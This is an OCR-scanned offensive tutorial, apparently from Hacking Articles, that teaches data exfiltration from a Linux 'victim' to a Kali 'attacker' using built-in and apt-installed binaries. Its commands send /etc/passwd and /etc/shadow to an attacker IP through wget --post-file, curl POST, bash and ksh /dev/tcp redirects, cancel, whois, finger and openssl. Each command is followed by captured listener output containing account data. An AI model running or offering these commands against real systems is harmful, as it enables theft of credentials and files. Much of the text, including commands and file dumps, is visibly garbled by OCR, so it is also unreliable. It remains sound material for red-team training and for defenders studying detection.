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Introduction to Data Exfiltration

Data exfiltration, in simpler terms, is also known as data theft or data exportation. These terms generally
define the method of attackers having unauthorised access to a user’s data and sneakily making a copy of
it by gaining access to the system or the network. Data exfiltration can be performed in various methods
with the primary intent of stealing data. This form of attack usually goes undetected. we are going to learn
about data exfiltration by using Linux binaries.

Introduction to Linux Binaries

Binaries can be described as files that contain source codes compiled together. These binary files are also
called as executables files, as they can be executed in the system. Here, we will be using file uploading
binaries to perform data exfiltration. This article is divided into two part;

e Data exfiltration using default Linux Binaries

e Data exfiltration using apt-installed Linux binaries
Now, switch on the Linux operating systems i.e. Kali Linux and Ubuntu. We will simultaneously see one of
the two systems posing as an attacker and the other as a victim.

Data exfiltration using default Linux Binaries

/Cancel

We can use /cancel binary to sneakily use file upload and send the file to the attacker machine over TCP
connection.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system by entering the file to upload, the victim IP, and the remote port for file transfer. To perform data
exfiltration you can type

[ cancel -u "$(cat /etc/passwd)" -h 192.168.0.147:1234 J

root@ubuntu:~# cancel -u "S$(cat fetc/passwd)" -h 192.168.0.147:1234

Attacker Machine

Here the Kali Linux is used as the attacker machine that uses port 1234 for listening using Netcat, you can
use

nc -lvp 1234 ]

Here you see that the contents of the file /etc/passwd with all the users are listed.
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~# nc -lvp 1234
listening on [any] 1234 ...
192.168.0.196: inverse host lookup failed: Unknown host
connect to [192.168.0.147] from (UNKNOWM) [192.168.0.196]
POST fadmin/ HTTP/1.1
Content-Length: 3
Content-Type: appli qua
Date: Mon, 31 A ]
Host: 192.168.(
U5ﬁr—hgent: cu (Linux L.0-42-generic; x86_64) IPP/2.0

ral-languagee

printer-u

1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:fbin'fu5rf5binfnalagin
\ Jusr/sbin/nologin
Sync:x:4:65534 .Jynu.fbin:fbinf5ync
games:x:5:60:games:/us nes:/usr/sbin/nologin
' ’mqn.fuar sbin/nologin
fsbin/nologin
mail imai rar/ h' ! ;Jbinfna1a in
news :
uucp - Svar/ a-fUU1p.fqu blnfna gin
prox) : v:/bin:/usr/sbin/nologi
www —data: 133 ata:/var/ fusr/sbin/nologin
backup - up: 1 ick in/nologin
list N inager: /va f_' 3 sr/sbin/nologin
irc: E / fsbin/nologin
gnats : ing -Jtem qumlnl /var/lib/gnats:/us

\ 3 fsystem
Jy5temd Res er,,,:/run/systemd: fusr/sti
emd—tlmeaynn B2:1¢ emd Time Synchronization,,,:/run/sys
aj 3 1106 :: /none .15T_ nt:/usr/sbin/nologin
116 Jhome/syslog: /usr/sbin/nologin
istent:/usr/ binfna1a?in

[ Fa]
b =

S = T I s I ¥

_|
— &1 |_|‘

= =F

frun/uuidd: fusr/ blnfna1

g J xistent:/usr/sbin/ni
ivahi-autoipd:x:189:116:Avahi autoi
nshmux ¥ -1108: 4R nshmoy dasmon, - fuarflih/ucshmuy - fusr/cshin/nnl |"'|_€l:'-l r

/wget
It is a computer program that usually retrieves content from web servers. We can use /wget binary to
sneakily use file upload and send the file to the attacker machine over HTTP POST

Victim Machine

Here we use Ubuntu on our victim machine and send a local file with an HTTP POST request. To implement
this, you can use the command
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wget --post-file=/etc/passwd 192.168.0.147 ]

root@ubuntu:~# wget --post-file=/etc/passwd 192.168.0.147
--2020-08-31 03:47:55-- http://192.168.0.147/

onnecting to 192.168.0.147:80... connected.

TTP request sent, awaiting response... ~C

root@ubuntu:-# wget --post-file=/etc/shadow 192.168.0.147
--2020-08-31 03:48:26-- http://192.168.06.147/

onnecting to 192.168.0.147:808... connected.
TTP request sent, awaiting response... I

Attacker Machine

Here we are using Kali Linux as the attacker machine. To get the file, Netcat is used as a listener, and type
this command,

nc -lvp 80

Here you see that the contents of the file /etc/passwd with all the users are listed on the attacker
machine.
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# nc -lvp 8@
listening on [any] 8@

192.168.0.196: inverse host lookup failed: Unknown host

connect to [192.168.0.147] from (UNKNOWN)

POST / HTTP/1.1
User-Agent: Wget/1.:
Accept: */*
Accept-Encoding: identity
Host: 192.168.0.147
Connection: Keep-Alive

3 (linux-gnu)

[192.168.0.196] 49104

Content-Type: application/x-www-form-urlencoded

Content-Length: 1416

5:@.99999.?:::
@:99999:7 =1

man: *:
lp:#*:
mail:*:
news: :
uucp:*:
proxy:*:
www —data:

irc:%:

gnats:* @:99999:7 :::

nobody:#+:1 2:0:99999:7 :::

systemd-net £

JyJTﬁmd resolve:+:
md-timesync:

avahi-autoipd:#:183
usbmux:#*:1 :

dnsmasqg:*: H' 5 99999:*::‘

cupS—pk—helpEI.*.l 3175:0:99999:7 :::
speech-dispatcher:!:1837 ..99999 e

/whois

:@:99999:7 :::
@:99999:7 :::

We can use /whois binary to sneakily use file upload and send the file to the attacker machine over TCP

connection.

Victim Machine

cGNITE
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Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system by entering the file to upload, the victim IP, and the remote port for file transfer. To perform data
exfiltration, you can type

whois -h 192.168.0.147 -p 43 'cat /etc/passwd'

root@ubuntu:~# whois -h 192.168.08.147 -p 43 "cat /etc/passwd’

Attacker Machine

Here the Kali Linux is used as the attacker machine that uses port 43 for listening using Netcat, you can
use

Here you see that the contents of the file /etc/passwd with all the users are listed.

connect to [192.168.08.147] from EUNKNDWNW [192.168 n.1gb] 586 34

root root: fIﬂﬂT fblnqu;h daemﬂn :1:1:daemon: /usr/sbi

n mam:x: I 2

login pr M

var/run/i :fu5rf5binfnglogin gnat:.u 41 41 Gnats Bug-Reporting y,Tnm qumlnl fuqlf11-

stemd: fu:xf;binfna]agin systemd-resol systemd R¢5a1n¢1,,, Jrun/systemd: /usr,

/nologin syslog:x :118 :: /home/sys o u5rf5b1nfnalog1n _apt:x:185:65534: fnonnnlaten

nexistent: fu;l!;bln!no1091n avahi-autoipd:x:109:116:Avahi avutoip daemon,,,:/va

in dnsmasg:x:112: 4:dnsmasq,,,:/var/lib/misc: /usr/sbin/nologin cups-pk-helper::

:/bin/false avah :115:121: Ahth mDNS daeman,,, thlfrunfqnqhi daeman fu;rf;binfnalogl

workManager OpenVPN,,,: oy env 119' PLIP sy
i 'in geocl c g E

lay Manage jar/1lib/gdm3:, y 1 jix: C aj,,,:fhamefraj:fbinfbaEh Sy

f:blnfno1091n

/bash

It is a Unix shell and command language We can use /bash binary to sneakily use file upload and send the
file to the attacker machine over HTTP POST.

Victim Machine

Here we have made use of the Ubuntu system as the victim machine. To upload the file from the victim
system to the attacker system by entering the file to upload, the victim IP, and the remote port for file
transfer. To perform data exfiltration, you can type

{ bash -c 'echo -e "POST / HTTP/0.9\n\n$(</etc/passwd)" > /dev/tcp/192.168.0.147/1234'

root@ubuntu:~# bash -c 'echo -e "POST / HTTP/0.9\n\nS$(</etc/passwd)" > fdev/tcp/192.168.0.147/1234"

root@ubuntu:~#
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Attacker Machine

Here the Kali Linux is used as the attacker machine that uses port 1234 for listening using Netcat, you can
use

[ nc -lvp 1234 ]

Here you see that the contents of the file /etc/passwd with all the users are listed.

# nc -lvp
listening on [any] 1 r
192.168.0.196: inverse host 1 Failed: own host
connect to [192.168.0.147] from (UNKNOWN) [192.168.0.196]
POST / HTTP/B.9

root:x:@ root:/r :/bin/bash
daemon l:l:daeman Jusr/sbin:/usr/sbin/nologin
i :/usr/sbin/nologin
"u;x'r b1n’na1091n
in:/bin/sync
:/usr/sbin/nologin
- ; :/usr/sbin/nologin
lp: 7 lp:/ /1 ’u;x’ bin/nologin
mail :mail:/va 11 fu;x’ b1n’na1

news

uucp:x:1@:1@: :/var/ ol/uucp: "u;x'r bln’na gin

proxy: - xy:/bin:/usr/sbin/nologin
wew —da ww-data:/var/wm:/usr/s bin/nologin
backup 4:backup:/var/backups: /usr/s b1n’na1091n
list:x:38:3 ailing List Manager:/var/list:/usr/sbin/nol
irc ircd:/ h';' fir Jusr/sbin/no
gnats g-Reporting System lqdmlnl"u41’11b’gn.t5:;
nobody : dy:/nonexistent:/usr/sbin/no in
systemd-networ z syste etwork Man: 2 t/run/syste
systemd-resolv @1: systemd Resolver,, unf5y5temd fusr/s bln
systemd-timesyni g @4:systemd Time Synchronization,,,:/run/systemd
( ::/nonexistent:/usr/sbin/nologin
rv510 "u;x'r b1n’na1091n
sten

:fxunfuu1dd "u;x'r bin;,
(istent: "u;x'r bin,

/OpenSSL

OpenSSLis a robust, highly -featured toolkit for the TLS and SSL protocols. We can use fopenssl binary to
use for file upload and send the file to the attacker machine over TCP connection.

Victim Machine

[ openssl s_client -quiet -connect 192.168.0.147:1234 < "/etc/passwd" ]

cGNITE Page 8 of 18

Technologies



Here we have made use of the Ubuntu system as the victim machine. To upload the file from the victim
system to the attacker system by entering the file to upload, the victim IP, and the remote port for file
transfer. To perform data exfiltration, you can type

root@ubuntu:~# openssl s client -quiet -connect 192.168.0.147:1234 < "/etc/passwd”
Can't use 55L _get servername
depth=0 C = AU, ST = Some-State, 0 = Internet Widgits Pty Ltd

verify error:num=18:self signed certificate

verify return:1

depth=0 C = AU, ST = Some-State, 0 = Internet Widgits Pty Ltd
verify return:1

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, you can type;

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 1234 > passwd

To check the contents of the file, you can type;

( cat passwd ]
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# openssl
Generating a RSA pllmq

1 Distinguished Name or a DN.
There are guite a \ a some blank
For some field
If you enter '

Country Name ( etter code) [AU]:
; ull mame) [Some

[Internet Widgits Pty Ltd]:
ction) []:

Common Mame (e.g. server FQDN or YOUR name) []:

Email Address []:

# openssl erver -guiet -key key.pem -cert cert.pem -port 1

bln fblnf:vn
r/ qmnf'fuglf blnfno1 gin

q1f11,T ﬂ’u;r»'r bin/nologin
1nfn0
g = ts:/usr/sbin/nologin
nobody =} n ) i T
systemd- I - rsyste : rk Manageme run/systemd: fusr/sbin/nologin
,v;temd— @1:103: emd Resol r ystemd: /usr/sbin/nologin
: ﬂmd Time ! r on, ,,:/run/systemd: /usr/sbin/nologin
nt: fu;xf,blnfnc1o§1n
usr belnfno1a§1n
usr/shin/nol
: — lib/tpm:/bin/false
.flunfuu1dd /usr/sbin/nologin
1:T=nT fualf binfno1agin

/busybox

It is a software suite that provides various Linux utilities in a single executable file. We can
use /busybox binary to sneakily use file upload and send the file to the attacker machine over HTTP.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system serve files in the local folder by running an HTTP server, you can type

busybox httpd -f -p 8080 -h . ]
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root@ubuntu:~-# busybox httpd -f -p 8880 -h .

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, you can type;

wget http://192.168.0.196:8080/data.txt
cat data.txt

p8-31 11:25:15 (7.1@ MB/s) - 'data.

HI

Netcat is a command-line tool for reading, writing, redirecting, and encrypting data across a network. We
can use /nc binary to sneakily use file upload and send the file to the attacker machine over the Tcp
connection.

Victim Machine

Here we are using, Kali Linux as the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running a TCP, you can type;

[ nc -lvp 5555 < jeeni.txt ]

listening on [any]

192.168.0.196: inver lookup failed: Unk
connect to [192.168.8 7 rom (UNKNOWN) [192.168.0.196] 49972

Attacker Machine

Here we are using, Ubuntu as the attacker machine. In order to download the file on the attacker machine,
you can type;

nc 192.168.0.147 5555 > jeeni.txt
cat jeeni.txt
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to read the contents of the file, type

root@ubuntu:~# nc 192.168.6.147 5555 > jeeni.txt
.F.[

root@ubuntu:~# cat jeeni.txt
lWelcome to Hacking Articles

Data exfiltration using apt-installed Linux binaries

[curl

It is a command-line tool that is used for transferring data using various network protocols. We can
use fcurl binary to sneakily use file upload and send the file to the attacker machine over the HTTP POST
connection. So, the first step would be to install the curl binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system serve files in the local folder by running an HTTP Post request, you can type;

t curl -X POST -d @data.txt 192.168.0.147

root@ubuntu:~# curl -X POST -d @data.txt 192.168.0.147

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, you can type;

[ nc -lvp 80 > data.txt ]

To read the file, type

cat data.txt
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# nc -lvp 89 > data.txt
listening on [any] 8@ r
192.168.0.196: inverse host lookup failed: Unknown host
connect to [192.168.0.147] from (UNKNOWN) [192.168.0.196] 37498@

L

[

it ata.txt
POST / HTTPR/1.

Host: 192.168.0.147

User-Agent: curl/7.68.¢

Accept: */%

Content-Length: 27

Content-Type: application/x-wwmw-form-urlencoded

Welcome to Hacking Articles % ]

[finger
Itis a program you can use to find information about computer users. We can use /finger binary to

sneakily use file upload and send the file to the attacker machine over the TCP connection. So, the first
step would be to install finger binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system serve files in the local folder by running the TCP request, you can type;

( finger "$(cat /etc/passwd)@192.168.0.147" J

root@ubuntu:~# finger "S({cat fetc/passwd)@192.168.0.147"

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, you can type

nc -lvp 79

You can see the user accounts from the /etc/passwd.
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# nc -lvp 79

listening on [any] 79 ...
192.168.0.196: inverse host lookup failed: Un
connect to [192.168.0.147] from (UNKNOWN) [192.168.0.196] 48360
root:: g:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

i :bin:/bin:/usr/sbin/nologin

:51_.-'5:f’rd-ﬂn.-':f'unrff bin/nologin
- :/bin:/bin/sync

gqmﬂr' FAMme fuJIfgqmﬂr'fUSrEEDinfnnlngin
man 2 :ma mIfLaLhefman.EU5rf5binfnnlngin
1p: lp:/var/s p001f1pd'funrf5binfnnl i
mail .“'mqi1- ' f’u;x!f binfnnl
news :

uucp

prox) 3:pr /bin:/usr/sbin/nologin

www —dat 133 :www-data:/var/wwmw:/usr/shin/nologin

backu z ackup:/var/backups:/usr/sbin/nologin

1ist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:: tircd:/var/run/ircd: fusr/sbin/nologin

gnat :41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/

nobody:x:65534:65534: v:/nonexistent:/usr/sbin/n
systemd-network : systemd Network Management,,,:/run/systemd:/usr/
systemd-resolve:x:101:1083:systemd Resolver,,,:/run/s yJTﬂmd Jusr/sbin/nologi
i :systemd Time Synchroni :/run/systemd: /u
@6 :: /fnonexistent:/usr/sbin/nolog
:: /home/syslog: /usr/sbin/nologin
:/nonexistent:/usr/sbin/nologin
186:111:TPM software stack,,,:/var/Llib/tpm:/bin/false
x:107:114 :: /run/uuidd: fusr/sbin/nologin
'lﬁ“:llﬁ"fnnnﬁwintenT-fuglf bin/no
avahi- quTnlpd :109:116:Avahi autoip daemon,, ar/lib/avahi-autoipd: /usr,
:118: 4h usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
111: 11“:F941T1mﬂh1T,,,: roc: fusr/shin/nologin
var/lib/misc: /usr/sbin/nologin
lﬂﬂ user for cups-pk-helper service,,,:/home/cups-pk-
:Speech Dispatcher,,,:/run/speech-dispatcher:/bi
S daemon,,,:/var/run/avahi-daemon: /usr/sbin/nologi
:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
ir/lib/saned: /usr/sbin/nol
:NetworkManager OpenVPN,,, ar/lib/openvpn/chroot: /usr
119 ’:HPLIP system user,,,:/run/hplip:/bin/false
:/nonexistent:/bin/false

It is a tool to execute interactively ruby expressions read from stdin. We can use /irb binary to sneakily
use file upload and send the file to the attacker machine over the HTTP. So, the first step would be to
install irb binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system serve files in the local folder by running the HTTP server on port 8888, you can type;
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irb
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;

.new(:Port => :DocumentRoot => .pwd).start;

[2020 89-01 ©2:58:21] INFO NEE’FICk 1.6.0

[2020-09-01 ©2:50:21] INFO ruby 2.7.0 (2019-12-25) [x86_64-Llinux-gnu]
[2020-09-01 ©2:50:21] INFO WEBrick::HTTPServer#start: pid=6623 port=8888
192.168.0.147 - - [01/Sep/2020:02:50:47 PDT] "GET / HTTP/1.1" 200 1918

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, in the browser you can type

t 192.168.0.196:8888

Index of /

— c

Index of /

Name Last modified
Parent Directory 2020/08/31 04:07
.bash_history 2020/08/31 08:54
.bashrc 2019/12/05 06:39
.cache/ 2020/04/23 00:38
Jocal/ 2020/08/30 10:38
.profile 2019/12/05 06:39
.ssh/ 2020/08/31 04:15
data.txt 2020/08/31 08:24
file to save 2020/08/31 08:34
WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25)

at 192 168.0.19A7-8888

/ksh

KornSHell is a shell and programming language that executes commands read from a terminal or a file We
can use /ksh binary to sneakily use file upload and send the file to the attacker machine over the HTTP.
So, the first step would be to install ksh binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system serve files in the local folder by running the HTTP server on port 1234, you can type;

ksh -c 'cat /etc/passwd > /dev/tcp/192.168.0.147/1234' ]
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root@ubuntu:~# ksh -c 'cat fetc/passwd > /dev/tcp/192.168.0.147/1234"
#

root@ubuntu: -~

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, in the browser you can type

nc -lvp 1234 ]

# nc -lvp
lis Tenlng on [any] 1234 ...
1¢ 6! VETSE st look F : Unknown host
conned .168.8.147] from (UNKN ) ) .168.0.196] 5
root:x: root:/root:/bin/bash
daemon:x:1:1: :,.I.JJI'r bin:/usr/sbin/no
bin:x in:/bin:/ sbin/nologin
SYS ys:/de IUJI’ b1n’na1091n
:sync:/bin:/bin/sync
95:fu5rfgame5:’u31’ bin/nologin
' man: fusr/s b1n’na1091n
:/usr/sbin/nologin
IUJI’ b1n’na1
news / ‘
uucp - ar/ leuuip "u;x'r b1n’na1
Ly i X in:/usr/s b1n’na1091n
www-data : [—d; A" :/usr/s bin/nologin
backup <up:/ /back :"u;x'r b1n’na1091n
list an; r:/var/list: fusr/sbin/nol
irc:x: ;uﬂxfxun,ircd Jfusr/sbin/no i
gnats:x: g-Reporting System lqdmlnl' u91’11b’gn4T
nobody dy:/nonexistent:/usr/s
systemd-netw p@:102:systemd
Jyntemd—xﬂra1wﬁ g1: systemd F solver,,,:/
:systemd Time ynihxanl_
::/nonexistent:/usr/sbin/nologin
:/usr/sbin/nologin
7 fusr/s b1n’na1091n
111 TPH JD+Tmh'; rack :/var/1lib;, :/bin/false
[ ‘run/uuidd: fusr/s bln’na i

/PHP

It is a scripting language that is especially suited to web development. We can use /PHP binary to sneakily
use file upload and send the file to the attacker machine over the HTTP. So, the first step would be to
install the php binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system serve files in the local folder by running the HTTP server on port 8080, you can type;
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php -S 0.0.0.0:8080

root@ubuntu:~# php -S 0.0.0.0:8080
[Tue 5S¢ 1 ©3:09:04 2020] PHP 7.4.3 Development Server (http://0.0
'S '

[§ "I"| i ..|"
i M M

03:09:08 2020] 192.168.0.147:33070 Accepted
93:09:08 2020] 192.168.0.147:33070 [404]: (n
03:09:08 2020] 192.168.0.147:33070 Closing
03:09:08 2020] 192.168.0.147:33072 Accepted

[Tue
[Tue
[Tue

()]
[+]

LA
(1]
== = R = Ry = |

[y ]
[+]

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, in the browser you can type

{ wget 192.168.0.196:8080/data.txt

:~# wget 192.168.0.196:8080/data.txt
35 http://192.168.0.196:8080/data. txt
.168.0.196:8 ... connected.
HTTP reguest sent, awaiting response... 200 OK
Length: 28 [text/plain]
Saving to: ‘data.txt’

data.txt 100%[

2020-09-21 06:09:35 (6.7@ MB/s) - 'data.txt' saved [28/28]

/Ruby

It is a high-level general processing language. We can use /ruby binary to sneakily use file upload and send
the file to the attacker machine over the HTTP server. So, the first step would be to install the ruby binary
using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the attacker
system serve files in the local folder by running the HTTP server on port 1234, you can type;

[ ruby -run -e httpd . -p 1234

root@ubuntu:~# ruby -run -e httpd . -p 1234
[2020-09-01 ©3:15:38] INFO WEBrick 1.6.0
[2020-09-01 ©3:15:38] INFO ruby 2.7.0 (2019-12-25) [x86_ 64-linux-gnu]

[2020-09-01 03:15:38] INFO WEBrick::HTTPServer#start: pid=14329 port=123
192.168.0.147 - - [01/Sep/2020:03:15:49 PDT] "GET / HTTP/1.1" 200 2052
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Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, in the browser you can type

[ 192.168.0.196:1234 J

Index of /

<« c

Index of /

Name Last modified
Parent Directory 2020/08/31 04:07
bash_history 2020/08/31 08:54
.bashrc 2019/12/05 06:39
.cache/ 2020/04/23 00:38
drb_history 2020/09/01 02:54
Jocal/ 2020/08/30 10:38
.profile 2019/12/05 06:39
.ssh/ 2020/08/31 04:15
data.txt 2020/08/31 08:24
file to save 2020/08/31 08:34

WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25)
at 192.168.0.196:1234

You can try out other Linux binaries for data exfiltration from https://gtfobins.github.io/
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